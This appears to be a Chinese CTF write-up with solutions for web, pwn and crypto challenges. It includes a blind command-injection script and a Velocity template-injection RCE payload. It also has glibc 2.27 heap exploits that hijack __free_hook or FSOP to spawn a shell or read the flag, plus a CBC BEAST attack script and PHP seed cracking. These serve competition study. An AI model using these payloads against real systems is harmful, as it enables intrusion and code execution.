
文章目录
misc
签到
直接复制粘贴
whitespace
whitespace语言,附件下载下来直接找一个在线运行网站运行获得flag
https://vii5ard.github.io/whitespace/
web
easyweb
import requests
import time
url = "http://119.3.37.185/"
requests.adapters.DEFAULT_RETRIES = 3 # 最大重连次数防止出问题
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
}
SLEEP_TIME = 0.3
kai_shi = time.time()
flag = ""
i = 0 # 计数器
print("[start]: -------")
while (True):
head = 32
tail = 127
i += 1
while (head < tail):
mid = (head + tail) >> 1
payload = '''h3zh1=$( cat /flag.txt |base64 | cut -c %d-%d );if [ $( printf '%%d' "'$h3zh1" ) -gt %d ];then sleep %f;fi''' % (
i, i, mid, SLEEP_TIME)
data = {
"cmd": payload
}
start_time = time.time() # 开始
r = requests.post(url, data=data, headers=headers)
end_time = time.time() # 结束
# print(payload)
if (end_time - start_time > SLEEP_TIME):
head = mid + 1
else:
tail = mid
if head != 32:
flag += chr(head)
print("[+]: " + flag)
else:
break
print("[end]: " + flag)
jie_shu = time.time()
print("程序运行时间:" + str(jie_shu - kai_shi))
#YmluCmJvb3QKZGV2CmV0YwpmbGFnLnR4dApob21lCmxpYgpsaWI2NAptZWRpYQptbnQKb3B0CnBy
#ZmxhZ3traWpidnN0c2JzbnNqMWQ5YmM4fQ==
题目中间有一段时间很卡,会影响脚本的判断。
然后就是有些时候因为卡会爆破出来的flag有错
esayseed
扫目录发现index.bak,发现是伪随机数爆破
用这个脚本:
<?php
$pass_now = "vEUHaY";//给出的密钥
$allowable_characters = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ';//字母表
$length = strlen($allowable_characters) - 1;
for ($j = 0; $j <= strlen($pass_now); $j++) {//遍历密钥
for ($i = 0; $i < $length; $i++) {//遍历字母表
if ($pass_now[$j] == $allowable_characters[$i]) {
echo "$i $i 0 $length ";
break;
}
}
}
?>
运行的结果用php_mt_seed-4.0爆破出种子718225
<?php
mt_srand(718225);
$lock = random(6, 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');
$key = random(16, '1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');
function random($length, $chars = '0123456789ABC') {
$hash = '';
$max = strlen($chars) - 1;
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}
echo $lock,' ',$key;
得到结果用cookie传递过去,加上XFF头127.0.0.1获得flag
zblog
简单java.就是环境卡的要死。
titile参数存在文件读取。后面看源码会发现是任意模板文件渲染的。用的路径拼接。所以路径不能随便构造。先fuzz一下可以找到根目录的位置。读下/proc/self/cmdline
。
java -jar /home/ctf/web/target/web-1.0-SNAPSHOT-jar-with-dependencies.jar
根据target路径结构看的出来是个maven的架构。那读下pom.xml。发现
<mainClass>Blog</mainClass>
加载的主类Blog.class。按照maven默认没有包的结构直接读../../../../src/main/java/Blog.java
import static spark.Spark.*;
import java.io.*;
import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.VelocityEngine;
import spark.template.velocity.VelocityTemplateEngine;
import java.io.StringWriter;
public class Blog {
private static void log(String fname, String content) {
try {
FileWriter writer = new FileWriter(fname, true);
writer.write(content);
writer.close();
} catch (IOException e) {
}
}
public static void main(String[] arg) {
staticFiles.location("/public");
VelocityEngine velocityEngine = new VelocityEngine();
velocityEngine.setProperty(VelocityEngine.RESOURCE_LOADER, "file");
velocityEngine.setProperty(VelocityEngine.FILE_RESOURCE_LOADER_PATH, "/");
velocityEngine.init();
VelocityContext context = new VelocityContext();
get("/", (request, response) -> {
request.session(true);
String title = request.queryParams("title");
if (title != null) {
log("/tmp/" + request.session().id(), "Client IP: " + request.ip() + " -> File: " + title + "\n");
Template template = velocityEngine.getTemplate("/home/ctf/web/src/main/resources/templates/" + title);
StringWriter sw = new StringWriter();
template.merge(context, sw);
return sw;
}
Template template = velocityEngine.getTemplate("/home/ctf/web/src/main/resources/templates/index");
StringWriter sw = new StringWriter();
template.merge(context, sw);
return sw;
});
}
}
逻辑是title参数除了会按值找到对应模板文件渲染。还会将参数按照sessionid存储到tmp/
下。那么此处应该先传payload再进行渲染。即可触发ssti达成rce.
简单写个exp
import requests
url='http://122.112.253.135/'
session='node0wjq18duzt9pg4ddli5qyyfqn3034.node0'
id=session.rstrip('.node0')
'''
data={'title':'../../../../src/main/java/Blog.java'}
r=requests.get(url,params=data,cookies={'JSESSIONID':session})
print(r.text)
'''
data={'title':"#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('grep -r flag /tmp')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end"}
r=requests.get(url,params=data,cookies={'JSESSIONID':session})
data={'title':'../../../../../../../tmp/'+id}
r=requests.get(url,params=data,cookies={'JSESSIONID':session})
print(r.text)
比较狗的就是flag在/tmp
下。因为session文件太多进行相关操作直接卡死。一个个试发现最后只有grep -r flag /tmp
不会卡。
pwn
veryeasy
首先申请10次块,那个限制就变成-1了,之后几乎没有什么限制了,可以看作普通的UAF的glibc 2.27的题
from pwn import*
context.log_level = 'DEBUG'
def menu(ch):
p.sendlineafter('Your choice :',str(ch))
def new(index,size,content):
menu(1)
p.sendlineafter('id:',str(index))
p.sendlineafter('size:',str(size))
p.sendafter('content:',content)
def edit(index,content):
menu(2)
p.sendlineafter('id:',str(index))
p.sendafter('content:',content)
def free(index):
menu(3)
p.sendlineafter('id:',str(index))
def show(index):
menu(4)
p = process('./main')
p = remote('122.112.225.164',10001)
libc =ELF('./libc-2.27.so')
for i in range(10):
new(i,0xF0,'FMYY')
for i in range(8):
free(0)
edit(0,'\x60\xF7')
new(10,0xF0,'FMYY')
new(11,0xF0,p64(0xFBAD1800) + '\x00'*0x18 + '\xC8')
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stdin_']
log.info('LIBC:\t' + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
edit(0,p64(0)*2)
free(0)
edit(0,p64(free_hook))
new(14,0xF0,'/bin/sh\x00')
new(15,0xF0,p64(system))
free(14)
p.interactive()
unknown
add块的时候,有index的负数溢出,用堆块的指针把前面某个块的size覆盖,然后edit 这个size被覆盖的块,就能形成堆溢出,而覆盖会检测覆盖的位置是否为0,所以这个size被覆盖的块申请时size需要为0
from pwn import*
context.log_level = 'DEBUG'
def menu(ch):
p.sendlineafter('Your choice: ',str(ch))
def new(index,size):
menu(1)
p.sendlineafter('Index: ',str(index))
p.sendlineafter('Size: ',str(size))
def edit(index,content):
menu(2)
p.sendlineafter('Index: ',str(index))
p.send(content)
def show(index):
menu(3)
p.sendlineafter('Index: ',str(index))
def free(index):
menu(4)
p.sendlineafter('Index: ',str(index))
p = process('./main')
p = remote('122.112.212.41',6666)
libc = ELF('./libc-2.27.so')
for i in range(8):
new(i,0xF8)
for i in range(8):
free(7 - i)
for i in range(7):
new(i + 1,0xF8)
new(0,0x78)
show(0)
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 0x10 - libc.sym['__malloc_hook'] - 336
log.info('LIBC:\t' + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
new(8,0x78)
new(14,0)
new(15,0)
free(15)
new(-2,0x1FF)
edit(14,'\x00'*0x18 + p64(0x21) + p64(free_hook) + '\n')
new(15,0x10)
edit(15,'/bin/sh\x00\n')
new(13,0x10)
edit(13,p64(system) + '\n')
free(15)
p.interactive()
fsplayground
和攻防世界的house of grey差不多,但是这个要简单许多,首先从 /proc/self/maps获取libc_base,然后打开/proc/self/mem,属性为1,lseek修改位置为free_hook,然后case 5往free_hook中写入rce即可
from pwn import*
p = process('./main')
libc = ELF('./libc-2.27.so')
p = remote('119.3.111.133',6666)
context.log_level = 'DEBUG'
context.arch = 'AMD64'
def menu(ch):
p.sendlineafter('Your choice:',str(ch))
def O(name,sign):
menu(1)
p.sendlineafter('Filename:',name)
p.sendlineafter('Option:',str(sign))
def C():
menu(2)
def L(off):
menu(3)
p.sendlineafter('Offset: ',str(off))
def R(size):
menu(4)
p.sendlineafter('Size: ',str(size))
def W(size,content):
menu(5)
p.sendlineafter('Size: ',str(size))
p.sendafter('Content: ',content)
O('/proc/self/maps\x00',0)
R(0x800)
p.recvuntil('Content: ')
proc_base = int(p.recv(12),16)
p.recvuntil('7f')
libc_base = int(('7F' + p.recv(10)),16)
log.info('LIBC:\t' + hex(libc_base))
log.info('Proc:\t' + hex(proc_base))
free_hook =libc_base + libc.sym['__free_hook']
rce = libc_base + 0x4F3C2
C()
O('/proc/self/mem\x00',1)
L(free_hook)
W(0x30,p64(rce))
p.interactive()
block
感觉我是非预期了,那个2333的选项应该是个后门函数,然而没用到,edit 存在单字节溢出,可以形成 overlap,unsorted bin中存在两个块就能leak libc和heap,然后double free劫持IO_list_all的指针,指向heap上2.24之后FSOP方法,buf base作为rdi,所以布局一下就能利用 setcontext+53 进行沙盒orw了
from pwn import*
#context.log_level = 'DEBUG'
def menu(ch):
p.sendlineafter('Choice >>',str(ch))
def new(tp,size,content):
menu(1)
p.sendlineafter('type:',str(tp))
p.sendlineafter('size',str(size))
'''
big : 0x400 ~
medium: 0x200 ~ 0x400
small : 0 ~ 0x200
ptr[0] = p
ptr[1] = type
ptr[2] = size | 1
ptr[3] = (2 || 4 || 8)*size
'''
p.sendafter('content: ',content)
def free(index):
menu(2)
p.sendlineafter('index: ',str(index))
def show(index):
menu(3)
p.sendlineafter('index: ',str(index))
def edit(index,content):
menu(4)
p.sendlineafter('index: ',str(index))
p.sendafter('content: ',content)
p = process('./main')
p = remote('122.112.204.227',6666)
libc =ELF('./libc-2.27.so')
for i in range(7):
new(3,0x1E0,'FMYY\n')
for i in range(7):
free(i)
for i in range(7):
new(3,0x170,'FMYY\n')
for i in range(7):
free(i)
new(3,0x68,'FMYY\n')
new(3,0x108,'FMYY\n')
new(3,0x68,'FMYY\n') #2
new(3,0x68,'FMYY\n') #3
new(3,0x68,'FMYY\n') #4
new(1,0x500,'FMYY\n') #5
new(3,0x68,'FMYY\n') #6
edit(0,'\x00'*0x68 + '\xF1')
free(1)
new(3,0x108,'FMYY\n')#1
new(3,0x68,'FMYY\n') #7
free(5)
show(3)
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x70
log.info('LIBC:\t' + hex(libc_base))
p.recv(2)
heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0x28D0 - 0x130
log.info('HEAP:\t' + hex(heap_base))
new(3,0x68,'FMYY\n') #8
free(2)
free(4)
free(7)
IO_list_all = libc_base + libc.sym['_IO_list_all']
IO_str_jumps = libc_base + 0x3E8360
fake_IO_FILE = p64(0) + p64(0)
fake_IO_FILE += p64(0) + p64(0)
fake_IO_FILE += p64(0) + p64(1)
fake_IO_FILE += p64(0) + p64(heap_base + 0x2790 - 0xA0 + 0x130)
fake_IO_FILE = fake_IO_FILE.ljust(0xD8,'\x00')
fake_IO_FILE += p64(IO_str_jumps - 8)
fake_IO_FILE += p64(0) + p64(libc_base + libc.sym['setcontext'] + 53)
pop_rdi_ret = libc_base + 0x000000000002155F
pop_rdx_ret = libc_base + 0x0000000000001B96
pop_rax_ret = libc_base + 0x0000000000043A78
pop_rsi_ret = libc_base + 0x0000000000023E8A
syscall = libc_base + libc.sym['syscall']
ret = libc_base + 0x00000000000008AA
Open = libc_base + libc.sym['open']
Read = libc_base + libc.sym['read']
Puts = libc_base + libc.sym['puts']
FLAG = heap_base + 0x2870 + 0x130
orw = p64(pop_rdi_ret) + p64(FLAG)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(Open)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rsi_ret) + p64(heap_base + 0x2000 + 0x130)
orw += p64(pop_rdx_ret) + p64(0x30)
orw += p64(Read)
orw += p64(pop_rdi_ret) + p64(heap_base + 0x2000 + 0x130)
orw += p64(Puts)
new(3,0x68,p64(libc_base + libc.sym['_IO_list_all'] -0x23) + '\n') #2
new(3,0x68,'./flag\x00\x00\n') #4
new(3,0x68,p64(heap_base + 0x29D0 + 0x130) + p64(ret) + '\n') #7
new(3,0x68,'\x00'*0x13 + p64(heap_base + 0x28E0 + 0x130) + '\n') #9
new(3,0x180,fake_IO_FILE + orw + '\n')
menu(5)
p.interactive()
Crypto
confused_flag
疯狂nc,即可得到flag
from pwn import *
while True:
r = remote("119.3.45.222", 9999)
rec = r.recvline().strip()
r.close()
if b"flag" in rec:
print(rec)
break
flag{b09dfe78-df9e-36dd-89a1-b7efb2e19e65}
crypto0
出题人改的我WMCTF出的原题Game。
没什么好说的,就BEAST ATTACK,改改脚本就能得到flag。
# !/usr/bin/env python3
import re, string
from hashlib import sha256
from itertools import product
from pwn import *
def xor(a, b):
return bytes(x^y for x, y in zip(a, b))
def hex2bytes(data):
return bytes.fromhex(data.decode())
r = remote("122.112.254.205", 10003)
# context.log_level = 'debug'
# PoW
# r.recvlines(13) # banner
# rec = r.recvline().decode()
# suffix = re.findall(r'XXXX\+([^\)]+)', rec)[0]
# digest = re.findall(r'== ([^\n]+)', rec)[0]
# print(f"suffix: {suffix} \ndigest: {digest}")
# print('Calculating hash...')
# for i in product(string.ascii_letters + string.digits, repeat=4):
# prefix = ''.join(i)
# guess = prefix + suffix
# if sha256(guess.encode()).hexdigest() == digest:
# print(guess)
# break
# r.sendafter(b'Give me XXXX: ', prefix.encode())
# Attack
# rec = r.recvline().decode()
# IV_hex = re.findall(r'([0-9a-f]{32})', rec)[0]
# IV = bytes.fromhex(IV_hex)
r.recvuntil(b"> ")
r.sendline(b"1")
r.sendlineafter(b"Your message (in hex): ", b"12")
rec = r.recvline().strip().decode()
print(rec)
IV = bytes.fromhex(rec)[-16:]
def getLastBit(known, cipher, IV):
"""
known: first 15 bytes that we know
cipher: Ek(known + ?) where ? is one byte that we want to get
returns (?, IV)
"""
for i in range(256):
r.sendlineafter(b"> ", b"1")
payload = xor(IV, known + bytes([i])) # Ek(known + i) where len(known) = 15, len(i) = 1
r.sendlineafter(b"(in hex): ", payload.hex().encode())
rec = r.recvline(keepends=False)
IV = hex2bytes(rec[-16*2:])
if hex2bytes(rec[:16*2]) == cipher:
return bytes([i]), IV
return None
# Recover byte by byte.
recovered = b""
for k in range(4):
# k=0: secret[0:15] l={15, 14, ..., 1}
# k=1: secret[15:31] l={16, 15, ..., 1}
# k=2: secret[31:47] l={16, 15, ..., 1}
# k=3: secret[47:48] l={16}
start = 15 if k == 0 else 16
end = 15 if k == 3 else 0
for l in range(start, end, -1):
r.sendlineafter(b"> ", b"1")
r.sendlineafter(b"(in hex): ", IV[:l].hex().encode())
rec = hex2bytes(r.recvline(keepends=False))
if k == 0:
known = b"\x00"*l + xor(IV[l:-1], recovered)
last_byte = IV[-1:]
cipher, IV = rec[:16], rec[-16:]
else:
known_IV, cipher, IV = rec[16*(k-1):16*k], rec[16*k:16*(k+1)], rec[-16:]
known = xor(known_IV, recovered[-15:])
last_byte = known_IV[-1:]
byte, IV = getLastBit(known, cipher, IV)
recovered += xor(byte, last_byte)
print(recovered.hex(), len(recovered))
# Get flag.
r.sendlineafter(b"> ", b"2")
r.sendlineafter(b"(in hex): ", recovered.hex().encode())
print(r.recvline(keepends=False))
r.close()

flag{1f5205a05b6f4e28478b79e681d6ae25508b785a48}
最新评论